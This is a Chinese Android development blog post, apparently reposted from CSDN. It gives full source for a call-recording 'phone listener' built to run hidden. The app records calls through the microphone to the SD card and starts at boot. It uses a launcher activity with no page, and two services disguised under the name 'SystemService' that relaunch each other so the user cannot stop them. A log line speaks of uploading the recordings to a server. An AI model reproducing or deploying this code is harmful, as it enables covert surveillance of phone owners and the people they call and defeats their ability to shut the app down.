标签:android开发
想要实现电话监听器,思路:
1.首先得通过程序在后台运行,所以需要做成服务。
2.如何实现电话监听呢,首先要获得电话管理器,然后监听电话的状态。
3.通过电话的不同状态,实现电话的监听。
4.还得开机启动。
5.做一个守护进程然你无法关闭。。
6.在主activity里的oncreate()里自动开启,这个activity不需要页面
看代码实现:
package com.jrrjw.phonelistener;
import java.io.File;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class SystemService2 extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
// 服务创建的时候调用的方法
@Override
public void onCreate() {
// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。
break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //这里使用的是mic也可以其他的类型,这个自行google,因为欧美国家有法律规定录音违法,所以这里我就只录自己发出的声音
// 3.设置录制的文件输出的格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
File file = new File(
Environment.getExternalStorageDirectory(),
System.currentTimeMillis() + ".mp3");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 服务销毁的时候调用的方法
@Override
public void onDestroy() {
super.onDestroy();
// 取消电话的监听
System.out.println("ondestory");
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
Intent i = new Intent(this, SystemService.class);
startService(i);
listener = null;
}
}
2.守护进程
package com.jrrjw.phonelistener;
import java.io.File;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class SystemService extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
// 服务创建的时候调用的方法
@Override
public void onCreate() {
// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。
break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 3.设置录制的文件输出的格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
File file = new File(
Environment.getExternalStorageDirectory(),
System.currentTimeMillis() + ".mp3");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 服务销毁的时候调用的方法
@Override
public void onDestroy() {
super.onDestroy();
// 取消电话的监听
System.out.println("ondestory");
Intent i = new Intent(this, SystemService2.class);
startService(i);
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
}
}
3.开机自启动
package com.jrrjw.phonelistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context,SystemService.class);
context.startService(i);
}
}
package com.jrrjw.phonelistener;
import com.jrrjw.phonelistener.R;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
boolean isRunning = ServiceUtils.isServicRunning(this,
"com.jrrjw.phonelistener.SystemService");
if (!isRunning) {
Intent intent = new Intent(this, SystemService.class);
startService(intent);
}
Toast.makeText(this, "System Service is running", Toast.LENGTH_SHORT)
.show();
finish();
}
}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.jrrjw.phonelistener"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.jrrjw.phonelistener.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.jrrjw.phonelistener.SystemService" >
</service>
<service android:name="com.jrrjw.phonelistener.SystemService2" >
</service>
<receiver android:name="com.jrrjw.phonelistener.BootReceiver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>package com.jrrjw.phonelistener;
import java.util.List;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
public class ServiceUtils {
public static boolean isServicRunning(Context context, String serviceName) {
ActivityManager am = (ActivityManager) context
.getSystemService(context.ACTIVITY_SERVICE);
List<RunningServiceInfo> infos = am.getRunningServices(100);
for (RunningServiceInfo runningServiceInfo : infos) {
String serviceN = runningServiceInfo.service.getClassName();
if (serviceName.equals(serviceN)) {
return true;
}
}
return false;
}
}
好了,这样就实现了简单的电话监听器,一旦你电话结束后,监听器就会把录好的声音以时间的形式保存到你的sd卡,这里我没有判断sd卡是否存在,只是一个demo标签:android开发
原文地址:http://blog.csdn.net/jys1115/article/details/40295687